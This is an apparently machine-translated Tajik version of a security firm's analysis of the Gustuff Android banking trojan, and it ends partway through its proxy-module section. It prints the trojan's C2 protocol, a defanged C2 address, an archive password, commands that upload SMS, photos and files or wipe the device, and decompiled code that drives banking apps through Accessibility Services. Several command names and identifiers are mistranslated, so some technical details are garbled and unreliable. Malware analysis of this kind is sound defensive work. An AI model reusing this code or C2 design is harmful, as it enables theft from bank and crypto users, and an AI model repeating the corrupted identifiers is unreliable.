Чӣ тавр Android Trojan Gustuff кремро (fiat ва крипто) аз ҳисобҳои шумо канда мекунад

Чӣ тавр Android Trojan Gustuff кремро (fiat ва крипто) аз ҳисобҳои шумо канда мекунад

Танҳо рӯзи дигар Group-IB хабар дод дар бораи фаъолияти мобилии Android Trojan Gustuff. Он танҳо дар бозорҳои байналмилалӣ кор мекунад, ки ба мизоҷони 100 бонки бузургтарини хориҷӣ, корбарони ҳамёнҳои мобилии 32 криптографӣ ва инчунин захираҳои бузурги тиҷорати электронӣ ҳамла мекунад. Аммо таҳиягари Gustuff як киберҷинояткори русзабон бо лақаби Bestoffer аст. То ба наздикӣ ӯ трояни худро ҳамчун "маҳсулоти ҷиддӣ барои одамони дорои дониш ва таҷриба" ситоиш мекард.

Мутахассиси таҳлили кодҳои зараровар дар Group-IB Иван Писарев дар тадқиқоти худ, ӯ ба таври муфассал дар бораи чӣ гуна кор кардани Gustuff ва чӣ хатарҳои он нақл мекунад.

Густф барои кӣ шикор мекунад?

Gustuff ба насли нави нармафзори зараровар бо функсияҳои пурра автоматӣ тааллуқ дорад. Ба гуфтаи таҳиягар, троян як версияи нав ва мукаммали нармафзори зараровар AndyBot гардид, ки аз моҳи ноябри соли 2017 ба телефонҳои Android ҳамла карда, тавассути шаклҳои интернетии фишинг, ки ҳамчун замимаҳои мобилии бонкҳои маъруфи байналмилалӣ ва низомҳои пардохтӣ маскан мегиранд, пул медуздад. Bestoffer гузориш дод, ки нархи иҷораи Gustuff Bot дар як моҳ 800 доллар буд.

Таҳлили намунаи Gustuff нишон дод, ки троян эҳтимолан муштариёнро бо истифода аз барномаҳои мобилии бонкҳои калонтарин, аз қабили Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, инчунин ҳамёнҳои криптографӣ ҳадаф қарор медиҳад. Bitcoin Wallet, BitPay, Cryptopay, Coinbase ва ғайра.

Дар ибтидо ҳамчун трояни классикии бонкӣ сохта шудааст, дар версияи ҷорӣ Gustuff рӯйхати ҳадафҳои эҳтимолии ҳамларо ба таври назаррас васеъ кардааст. Илова ба замимаҳои Android барои бонкҳо, ширкатҳои финтех ва хидматҳои крипто, Gustuff ба корбарони замимаҳои бозор, мағозаҳои онлайн, системаҳои пардохт ва паёмрасонҳои фаврӣ нигаронида шудааст. Аз ҷумла, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ва ғайра.

Нуқтаи воридшавӣ: ҳисобкунии сирояти оммавӣ

Gustuff бо вектори "классикӣ" -и воридшавӣ ба смартфонҳои Android тавассути паёмҳои SMS бо истинодҳо ба APK тавсиф мешавад. Вақте ки дастгоҳи Android бо фармони сервер бо троян сироят мекунад, Gustuff метавонад минбаъд тавассути пойгоҳи додаи тамоси телефони сироятшуда ё тавассути пойгоҳи сервер паҳн шавад. Функсияи Gustuff барои сирояти оммавӣ ва ҳадди аксар капитализатсияи тиҷорати операторони он тарҳрезӣ шудааст - он дорои функсияи беназири "автопуркунӣ" ба замимаҳои қонунии бонкии мобилӣ ва ҳамёнҳои крипто мебошад, ки ба шумо имкон медиҳад, ки дуздии пулро суръат ва васеъ кунед.

Омӯзиши троян нишон дод, ки дар он функсияи пуркунии автоматӣ бо истифода аз Хадамоти дастрас, хидмат барои одамони маъюб амалӣ карда шудааст. Gustuff аввалин Троян нест, ки бомуваффақият муҳофизатро аз ҳамкорӣ бо унсурҳои тирезаи замимаҳои дигар бо истифода аз ин хидмати Android гузарад. Бо вуҷуди ин, истифодаи Хадамоти дастрас дар якҷоягӣ бо пуркунандаи мошин ҳанӯз хеле кам аст.

Пас аз зеркашӣ ба телефони ҷабрдида, Gustuff бо истифода аз Хадамоти дастрас метавонад бо унсурҳои тирезаи замимаҳои дигар (бонкӣ, cryptocurrency, инчунин замимаҳо барои хариди онлайн, паёмнависӣ ва ғайра) муошират карда, амалҳои барои ҳамлагарон заруриро иҷро кунад. . Масалан, бо фармони сервер, троян метавонад тугмаҳоро пахш кунад ва арзишҳои майдонҳои матниро дар барномаҳои бонкӣ тағир диҳад. Истифодаи механизми Хизматрасонии Дастрасӣ ба Троян имкон медиҳад, ки механизмҳои амниятиеро, ки бонкҳо барои муқобила бо троянҳои мобилии насли қаблӣ истифода мебаранд, инчунин тағирот дар сиёсати амниятӣ, ки аз ҷониби Google дар версияҳои нави ОС Android амалӣ карда мешаванд, канорагирӣ кунад. Ҳамин тариқ, Gustuff "медонад" чӣ гуна хомӯш кардани муҳофизати Google Protect: ба гуфтаи муаллиф, ин функсия дар 70% ҳолатҳо кор мекунад.

Чӣ тавр Android Trojan Gustuff кремро (fiat ва крипто) аз ҳисобҳои шумо канда мекунад

Gustuff инчунин метавонад огоҳиҳои қалбакии PUSH-ро бо нишонаҳои барномаҳои қонунии мобилӣ намоиш диҳад. Истифодабаранда огоҳиномаи PUSH-ро клик мекунад ва равзанаи фишингиро, ки аз сервер бор карда шудааст, мебинад, ки дар он корти бонкии дархостшуда ё маълумоти ҳамёни крипторо ворид мекунад. Дар сенарияи дигари Gustuff, барномае кушода мешавад, ки аз номи он огоҳии PUSH намоиш дода шудааст. Дар ин ҳолат, нармафзори зараровар бо фармони сервер тавассути Хадамоти дастрасӣ метавонад майдонҳои формаи барномаи бонкиро барои амалиёти қаллобӣ пур кунад.

Функсияи Gustuff инчунин фиристодани маълумот дар бораи дастгоҳи сироятшуда ба сервер, қобилияти хондан/фиристонидани паёмҳои SMS, ирсоли дархостҳои USSD, оғоз кардани SOCKS5 Proxy, пас аз истинод, фиристодани файлҳо (аз ҷумла сканҳои аксҳои ҳуҷҷатҳо, скриншотҳо, аксҳо) ба сервер, дастгоҳро ба танзимоти завод баргардонед.

Таҳлили нармафзори зараровар

Пеш аз насб кардани барномаи зараровар, ОС Android ба корбар тирезаеро нишон медиҳад, ки дорои рӯйхати ҳуқуқҳои аз ҷониби Gustuff дархостшуда мебошад:

Чӣ тавр Android Trojan Gustuff кремро (fiat ва крипто) аз ҳисобҳои шумо канда мекунад
Барнома танҳо пас аз гирифтани розигии корбар насб карда мешавад. Пас аз оғози барнома, троян ба корбар тирезаеро нишон медиҳад:

Чӣ тавр Android Trojan Gustuff кремро (fiat ва крипто) аз ҳисобҳои шумо канда мекунад
Пас аз он, он нишонаи худро нест мекунад.

Ба гуфтаи муаллиф, Gustuff аз ҷониби як борпеч аз FTT баста шудааст. Пас аз оғозёбӣ, барнома давра ба давра бо сервери CnC барои қабул кардани фармонҳо тамос мегирад. Якчанд файлҳое, ки мо тафтиш кардем, суроғаи IP-ро ҳамчун сервери назорат истифода мебурданд 88.99.171[.]105 (минбаъд мо онро ҳамчун <%CnC%>).

Пас аз оғоз, барнома фиристодани паёмҳоро ба сервер оғоз мекунад http://<%CnC%>/api/v1/get.php.

Интизор меравад, ки посух JSON дар формати зерин бошад:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Ҳар дафъае, ки ба барнома дастрасӣ пайдо мешавад, он маълумотро дар бораи дастгоҳи сироятшуда мефиристад. Формати паём дар зер нишон дода шудааст. Кайд кардан бамаврид аст, ки майдонхо пур, иловагӣ, Барномаҳои и иҷозат - ихтиёрӣ ва танҳо дар сурати дархости фармони CnC фиристода мешавад.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Нигоҳ доштани маълумоти конфигуратсия

Gustuff маълумоти аз ҷиҳати амалиётӣ муҳимро дар файли афзалият нигоҳ медорад. Номи файл, инчунин номҳои параметрҳои он, натиҷаи ҳисоб кардани маблағи MD5 аз сатр мебошанд. 15413090667214.6.1<%name%>ки дар <%ном%> — номи ибтидоӣ-арзиш. Тафсири Python функсияи тавлиди ном:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Дар он чизе ки дар оянда мо онро ҳамчун ишора мекунем nameGenerator (ворид).
Пас, номи аввалини файл ин аст: nameGenerator("API_SERVER_LIST"), он дорои арзишҳо бо номҳои зерин:

Номи тағирёбанда арзиши
nameGenerator("API_SERVER_LIST") Рӯйхати суроғаҳои CnC дар шакли массивро дар бар мегирад.
nameGenerator("API_SERVER_URL") Суроғаи CnC-ро дар бар мегирад.
nameGenerator("SMS_UPLOAD") Парчам бо нобаёнӣ муқаррар карда мешавад. Агар парчам гузошта шуда бошад, ба CnC паёмҳои SMS мефиристад.
nameGenerator("SMS_ROOT_NUMBER") Рақами телефоне, ки ба он SMS паёмҳои аз ҷониби дастгоҳи сироятёфта фиристода мешаванд. Пешфарз нул аст.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Парчам бо нобаёнӣ тоза карда мешавад. Агар насб карда шавад, вақте ки дастгоҳи сироятшуда SMS мегирад, он ба рақами реша фиристода мешавад.
nameGenerator("DEFAULT_APP_SMS") Парчам бо нобаёнӣ тоза карда мешавад. Агар ин парчам гузошта шуда бошад, барнома паёмҳои SMS-и воридшударо коркард мекунад.
nameGenerator("DEFAULT_ADMIN") Парчам бо нобаёнӣ тоза карда мешавад. Агар парчам гузошта шуда бошад, барнома дорои ҳуқуқҳои администратор аст.
nameGenerator("DEFAULT_ACCESSIBILITY") Парчам бо нобаёнӣ тоза карда мешавад. Агар парчам гузошта шуда бошад, хидмате бо истифода аз Хидмати Дастрасӣ кор мекунад.
nameGenerator("APPS_CONFIG") Объекти JSON, ки рӯйхати амалҳоро дар бар мегирад, ки ҳангоми оғоз шудани ҳодисаи Дастрасӣ бо як барномаи мушаххас бояд иҷро карда шаванд.
nameGenerator("APPS_INSTALLED") Рӯйхати замимаҳои дар дастгоҳ насбшударо нигоҳ медорад.
nameGenerator("IS_FIST_RUN") Парчам дар оғози аввал аз нав барқарор карда мешавад.
nameGenerator("UNIQUE_ID") Як идентификатори беназир дорад. Вақте ки бот бори аввал ба кор андохта мешавад, тавлид мешавад.

Модул барои коркарди фармонҳо аз сервер

Барнома суроғаҳои серверҳои CnC-ро дар шакли массив, ки аз ҷониби он рамзгузорӣ шудааст, нигоҳ медорад Пойгоҳи85 хатҳо. Рӯйхати серверҳои CnC-ро пас аз гирифтани фармони мувофиқ тағир додан мумкин аст, ки дар ин ҳолат суроғаҳо дар файли афзалият нигоҳ дошта мешаванд.

Дар посух ба дархост сервер ба барнома фармон мефиристад. Қобили зикр аст, ки фармонҳо ва параметрҳо дар формати JSON пешниҳод карда мешаванд. Барнома метавонад фармонҳои зеринро коркард кунад:

гурӯҳ Шарҳи
ба пеш Оғоз Ба фиристодани SMS паёмҳои аз ҷониби дастгоҳи сироятёфта ба сервери CnC оғоз кунед.
ба пеш бозист Фиристодани SMS-паёмҳои аз ҷониби дастгоҳи сироятшуда ба сервери CnC қабулшударо қатъ кунед.
ussdRun Дархости USSD-ро иҷро кунед. Рақаме, ки ба он шумо бояд USSD дархост пешниҳод кунед, дар майдони JSON "рақам" ҷойгир аст.
фиристодани SMS Як паёми SMS фиристед (агар лозим бошад, паём ба қисмҳо "тақсим мешавад"). Ҳамчун параметр, фармон объекти JSON-ро мегирад, ки дорои майдонҳои "ба" - рақами таъинот ва "бадан" - ҷузъи паём аст.
sendSmsAb Ба ҳама дар рӯйхати тамосҳои дастгоҳи сироятшуда SMS фиристед (агар лозим бошад, паём ба қисмҳо тақсим карда мешавад). Фосилаи байни фиристодани паёмҳо 10 сония аст. Ҷисми паём дар майдони JSON "бадан" ҷойгир аст
sendSmsMass Ба алоқаҳое, ки дар параметрҳои фармон нишон дода шудаанд, SMS фиристед (агар лозим бошад, паём ба қисмҳо тақсим карда мешавад). Фосилаи байни фиристодани паёмҳо 10 сония аст. Ҳамчун параметр, фармон массиви JSON-ро (майдони "sms") мегирад, ки унсурҳои он дорои майдонҳои "ба" - рақами таъинот ва "тадан" - қисми паём мебошанд.
тағир додани сервер Ин фармон метавонад бо калиди "url" ҳамчун параметр арзиш бигирад - пас бот арзиши nameGenerator("SERVER_URL") ё "array" -ро тағир медиҳад - пас бот массивро ба nameGenerator ("API_SERVER_LIST") менависад. Ҳамин тариқ, барнома суроғаи серверҳои CnC-ро тағир медиҳад.
Рақами администратор Фармон барои кор бо рақами реша тарҳрезӣ шудааст. Фармон объекти JSON-ро бо параметрҳои зерин қабул мекунад: "рақам" - тағир додани nameGenerator("ROOT_NUMBER") ба арзиши гирифташуда, "аз нав ирсол кардан" - тағир додани nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - ирсол ба nameGenerator("ROOT_NUMBER" ) ID беназир.
updateInfo Маълумотро дар бораи дастгоҳи сироятшуда ба сервер фиристед.
wipeData Фармон барои нест кардани маълумоти корбар пешбинӣ шудааст. Вобаста аз кадом номе, ки барнома оғоз шудааст, ё маълумот бо азнавборкунии дастгоҳ пурра нест карда мешавад (корбари асосӣ) ё танҳо маълумоти корбар нест карда мешавад (корбари дуюм).
ҷӯробҳо Оғоз Модули проксиро оғоз кунед. Фаъолияти модул дар фасли алоҳида тавсиф шудааст.
socksStop Модули проксиро қатъ кунед.
openLink Истинодро пайгирӣ кунед. Истинод дар параметри JSON зери калиди "url" ҷойгир аст. Барои кушодани пайванд "android.intent.action.VIEW" истифода мешавад.
uploadAllSms Ҳама паёмҳои SMS-ро, ки дастгоҳ қабул кардааст, ба сервер фиристед.
uploadAllPhotos Тасвирҳоро аз дастгоҳи сироятшуда ба URL фиристед. URL ҳамчун параметр меояд.
боркунии файл Файлро ба URL аз дастгоҳи сироятшуда фиристед. URL ҳамчун параметр меояд.
Рақамҳои телефонро бор кунед Рақамҳои телефонро аз рӯйхати мухотибон ба сервер фиристед. Агар арзиши объекти JSON бо калиди "ab" ҳамчун параметр қабул карда шавад, барнома рӯйхати мухотибонро аз китоби телефонӣ мегирад. Агар объекти JSON бо калиди "sms" ҳамчун параметр қабул карда шавад, барнома рӯйхати мухотибонро аз ирсолкунандагони паёмҳои SMS мехонад.
тағир додани Архив Барнома файлро аз суроғае, ки ҳамчун параметр бо истифода аз калиди "url" меояд, зеркашӣ мекунад. Файли зеркашида бо номи "archive.zip" захира карда мешавад. Баъдан барнома файлро бо истифода аз пароли бойгонии "b5jXh37gxgHBrZhQ4j3D" мекушояд. Файлҳои кушодашуда дар феҳристи [анбори беруна]/hgps захира карда мешаванд. Дар ин феҳрист, барнома қалбакии вебро нигоҳ медорад (дар зер тавсиф шудааст).
амалҳо Фармон барои кор бо Action Service тарҳрезӣ шудааст, ки дар фасли алоҳида тавсиф шудааст.
озмоиш Ҳеҷ чиз накардан.
боргирӣ Фармон барои зеркашии файл аз сервери дурдаст ва захира кардани он ба директорияи "Зеркашиҳо" пешбинӣ шудааст. URL ва номи файл ҳамчун параметр, майдонҳо дар объекти параметри JSON мутаносибан меоянд: "url" ва "fileName".
хориҷ Файлро аз директорияи "Боргириҳо" нест мекунад. Номи файл дар як параметри JSON бо калиди "fileName" меояд. Номи стандартии файл "tmp.apk" аст.
огоҳинома Нишон додани огоҳинома бо тавсиф ва матнҳои унвон, ки аз ҷониби сервери идоракунӣ муайян карда шудааст.

Формати фармон огоҳинома:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Огоҳиномае, ки аз ҷониби файли таҳқиқшуда тавлид шудааст, ба огоҳиҳое, ки аз ҷониби замимаи дар майдон нишондодашуда тавлид шудааст, якхела аст. барнома. Агар арзиши майдон openApp — Дуруст аст, вакте ки огохнома кушода мешавад, замимаи дар майдон нишондодашуда ба кор медарояд барнома. Агар арзиши майдон openApp — Дурӯғ, пас:

  • Равзанаи фишинг кушода мешавад, ки мундариҷаи он аз директория зеркашӣ карда мешавад <%захираи беруна%>/hgps/<%файл%>
  • Равзанаи фишинг кушода мешавад, ки мундариҷаи он аз сервер бор карда мешавад <%url%>?id=<%Bot id%>&app=<%Номи барнома%>
  • Равзанаи фишинг кушода мешавад, ки ҳамчун корти Google Play пинҳон карда шудааст ва имкони ворид кардани тафсилоти корт дорад.

Барнома натиҷаи дилхоҳ фармонро ба <%CnC%>set_state.php ҳамчун объекти JSON дар формати зерин:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Рӯйхати фармонҳое, ки равандҳои барнома дар бар мегиранд амал. Вақте ки фармон қабул мешавад, модули коркарди фармон барои иҷрои фармони васеъ ба ин хидмат дастрасӣ пайдо мекунад. Хизмат объекти JSON-ро ҳамчун параметр қабул мекунад. Хизмат метавонад фармонҳои зеринро иҷро кунад:

1. PARAMS_ACTION — ҳангоми қабули чунин фармон, хидмат аввал аз параметри JSON арзиши калиди Type -ро мегирад, ки он метавонад чунин бошад:

  • serviceInfo – зерфармон арзишро аз рӯи калид аз параметри JSON мегирад дохилNotImportant. Агар парчам True бошад, барнома парчамро муқаррар мекунад FLAG_ISOLATED_PROCESS ба хадамот бо истифода аз Хадамоти Дастрасӣ. Ҳамин тариқ, хидмат дар раванди алоҳида оғоз карда мешавад.
  • реша — гирифтан ва ба сервер фиристодани маълумот дар бораи равзане, ки айни замон дар фокус аст. Барнома маълумотро бо истифода аз синфи AccessibilityNodeInfo мегирад.
  • администратор — ҳуқуқҳои администраторро талаб кунед.
  • таъхир — боздоштани ActionsService барои шумораи миллисонияҳое, ки дар параметр барои калиди "маълумот" нишон дода шудаанд.
  • тирезаҳо — феҳристи тирезаҳои ба корбар намоёнро ирсол кунед.
  • насб кунед — барномаро дар дастгоҳи сироятшуда насб кунед. Номи бастаи бойгонӣ дар калиди "fileName" ҷойгир аст. Худи бойгонӣ дар феҳристи Боргириҳо ҷойгир аст.
  • саросарӣ – зерфармон барои паймоиш аз равзанаи ҷорӣ пешбинӣ шудааст:
    • дар менюи Танзимоти зуд
    • баргашт
    • хона
    • ба огоҳиҳо
    • ба равзанаи барномаҳои ба наздикӣ кушодашуда

  • Кушода мешавад - барномаро оғоз кунед. Номи барнома ҳамчун параметр бо калид меояд маълумот.
  • овозҳои — ҳолати садоро ба хомӯшӣ иваз кунед.
  • кушодан — равшании паси экран ва клавиатураро ба равшании пурра мегардонад. Барнома ин амалро бо истифода аз WakeLock иҷро мекунад ва сатри [Application lable]:INFO -ро ҳамчун тег муайян мекунад
  • permissionOverlay — функсия иҷро нашудааст (ҷавоб ба иҷрои фармон ин аст: {"message":"Net support"} ё {"message":"low sdk"})
  • ишора — функсия иҷро нашудааст (ҷавоб ба иҷрои фармон ин аст: {"message":"Net support"}or {"message":"Low API"})
  • иҷозатномаҳоро — ин фармон барои дархост кардани иҷозат барои барнома зарур аст. Аммо, функсияи дархост иҷро карда намешавад, бинобар ин фармон бемаънӣ аст. Рӯйхати ҳуқуқҳои дархостшуда ҳамчун массиви JSON бо калиди "иҷозатҳо" меояд. Рӯйхати стандартӣ:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • кушодан — нишон додани равзанаи фишинг. Вобаста аз параметре, ки аз сервер меояд, барнома метавонад тирезаҳои фишинги зеринро намоиш диҳад:
    • Равзанаи фишингро нишон диҳед, ки мундариҷаи он дар файл дар директория навишта шудааст <%феҳристи беруна%>/hgps/<%param_filename%>. Натиҷаи ҳамкории корбар бо тиреза ба он фиристода мешавад <%CnC%>/records.php
    • Равзанаи фишингро нишон диҳед, ки мундариҷаи он аз суроға пешакӣ бор карда шудааст <%url_param%>?id=<%bot_id%>&app=<%namename%>. Натиҷаи ҳамкории корбар бо тиреза ба он фиристода мешавад <%CnC%>/records.php
    • Равзанаи фишингиро, ки ҳамчун корти Google Play пинҳон шудааст, нишон диҳед.

  • муколамавӣ — фармон барои ҳамкорӣ бо унсурҳои равзанаи барномаҳои дигар бо истифода аз AcessibilityService тарҳрезӣ шудааст. Дар барномаи ҳамкорӣ хидмати махсус ҷорӣ карда шудааст. Барномае, ки мавриди таҳқиқ қарор дорад, метавонад бо тирезаҳо ҳамкорӣ кунад:
    • Айни замон фаъол. Дар ин ҳолат, параметр дорои id ё матни (ном) объектест, ки шумо бояд бо он ҳамкорӣ кунед.
    • Ҳангоми иҷро шудани фармон ба корбар намоён аст. Барнома тирезаҳоро аз рӯи ID интихоб мекунад.

    Гирифтани объектҳо AccessibilityNodeInfo Барои унсурҳои равзанаи ҷолиб, барнома вобаста ба параметрҳо метавонад амалҳои зеринро иҷро кунад:

    • фокус — таваҷҷӯҳро ба объект гузоштан.
    • клик — ба объект пахш кунед.
    • actionId — иҷро кардани амал аз рӯи ID.
    • setText — тағир додани матни объект. Тағир додани матн бо ду роҳ имконпазир аст: иҷро кардани амал ACTION_SET_TEXT (агар версияи Android-и дастгоҳи сироятшуда аз он хурдтар ё баробар бошад ЛОЛЛИПОП), ё бо гузоштани сатр дар буфер ва часпонидани он ба объект (барои версияҳои кӯҳна). Ин фармонро барои тағир додани маълумот дар барномаи бонкӣ истифода бурдан мумкин аст.

2. PARAMS_ACTIONS - ҳамон тавре PARAMS_ACTION, танҳо маҷмӯи фармонҳои JSON меояд.

Чунин ба назар мерасад, ки бисёриҳо ба он таваҷҷӯҳ хоҳанд кард, ки функсияи муошират бо унсурҳои тирезаи замимаи дигар чӣ гуна аст. Ин аст, ки ин функсия дар Gustuff амалӣ карда мешавад:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Функсияи ивазкунии матн:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Ҳамин тариқ, бо конфигуратсияи дурусти сервери идоракунӣ, Gustuff қодир аст майдонҳои матниро дар замимаи бонкӣ пур кунад ва тугмаҳои заруриро барои анҷом додани транзаксия клик кунад. Троян ҳатто лозим нест, ки ба барнома ворид шавад - фиристодани фармон барои намоиши огоҳиномаи PUSH ва сипас кушодани замимаи бонкии қаблан насбшуда кифоя аст. Истифодабаранда худашро тасдиқ мекунад ва пас аз он Gustuff метавонад мошинро пур кунад.

Модули коркарди паёмҳои SMS

Барнома коркарди рӯйдодҳоро барои дастгоҳи сироятшуда барои қабули паёмҳои SMS насб мекунад. Барномае, ки мавриди омӯзиш қарор дорад, метавонад аз оператор фармонҳоро қабул кунад, ки дар матни паёми SMS меоянд. Фармонҳо дар формат меоянд:

7!5=<Фармони%Base64 рамзгузоришуда%>

Барнома сатрро дар ҳама паёмҳои SMS-и воридотӣ ҷустуҷӯ мекунад 7!5=, вақте ки сатр ошкор карда мешавад, он сатрро аз Base64 дар офсет 4 рамзкушо мекунад ва фармонро иҷро мекунад. Фармонҳо ба фармонҳои CnC монанданд. Натиҷаи иҷро ба ҳамон рақаме, ки фармон аз он омадааст, фиристода мешавад. Формати ҷавоб:

7*5=<%Base64 рамзи "фармони натиҷа_коди"%>

Ихтиёрӣ, барнома метавонад ҳамаи паёмҳои қабулшударо ба рақами решавӣ фиристад. Барои ин рақами решавӣ бояд дар файли афзалият нишон дода шавад ва парчами масиркунии паём гузошта шавад. Ба рақами ҳамлагар дар формати зерин SMS паём фиристода мешавад:

<%Аз рақам%> - <%Вақт, формат: gg/MM/yyyy HH:dd:ss%> <%SMS body%>

Инчунин, ихтиёрӣ, барнома метавонад ба CnC паём фиристад. Паёми SMS ба сервер дар формати JSON фиристода мешавад:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Агар байрак гузошта шавад nameGenerator("DEFAULT_APP_SMS") – барнома коркарди SMS-ро қатъ мекунад ва рӯйхати паёмҳои воридшударо тоза мекунад.

Модули прокси

Барномае, ки мавриди омӯзиш қарор дорад, дорои модули Backconnect Proxy (минбаъд-модули прокси номида мешавад) мебошад, ки синфи алоҳида дорад, ки майдонҳои статикиро бо конфигуратсия дар бар мегирад. Маълумоти конфигуратсия дар намуна дар шакли равшан нигоҳ дошта мешавад:

Чӣ тавр Android Trojan Gustuff кремро (fiat ва крипто) аз ҳисобҳои шумо канда мекунад

Ҳама амалҳое, ки аз ҷониби модули прокси иҷро мешаванд, ба файлҳо ворид карда мешаванд. Барои ин, барнома дар нигаҳдории беруна феҳристеро бо номи "логҳо" (майдони ProxyConfigClass.logsDir дар синфи конфигуратсия) эҷод мекунад, ки дар он файлҳои журнал нигоҳ дошта мешаванд. Сабти ном дар файлҳо бо номҳо сурат мегирад:

  1. main.txt – кори синф бо номи CommandServer ба ин файл ворид карда мешавад. Дар оянда, ворид кардани сатри str ба ин файл ҳамчун mainLog(str) ишора мешавад.
  2. сессия-<%id%>.txt — ин файл маълумоти сабти марбут ба сеанси мушаххаси проксиро захира мекунад. Дар оянда, сабти сатри str ба ин файл ҳамчун sessionLog (str) ишора мешавад.
  3. server.txt – ин файл барои сабти ҳама маълумоте, ки ба файлҳои дар боло тавсифшуда навишта шудааст, истифода мешавад.

Формати сабти маълумот:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Истисноҳое, ки ҳангоми кори модули прокси рух медиҳанд, инчунин ба файл сабт карда мешаванд. Барои ин, барнома объекти JSON-ро дар формати зерин тавлид мекунад:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Сипас он онро ба намоиши сатр табдил медиҳад ва онро сабт мекунад.

Модули прокси пас аз гирифтани фармони мувофиқ оғоз карда мешавад. Вақте ки фармон барои оғоз кардани модули прокси қабул мешавад, барнома хидмати даъватшударо оғоз мекунад MainService, ки барои идоракунии кори модули прокси масъул аст - оғоз ва қатъи он.

Марҳилаҳои оғози хидмат:

1. Таймерро оғоз мекунад, ки дар як дақиқа як маротиба кор мекунад ва фаъолияти модули проксиро тафтиш мекунад. Агар модул фаъол набошад, он онро оғоз мекунад.
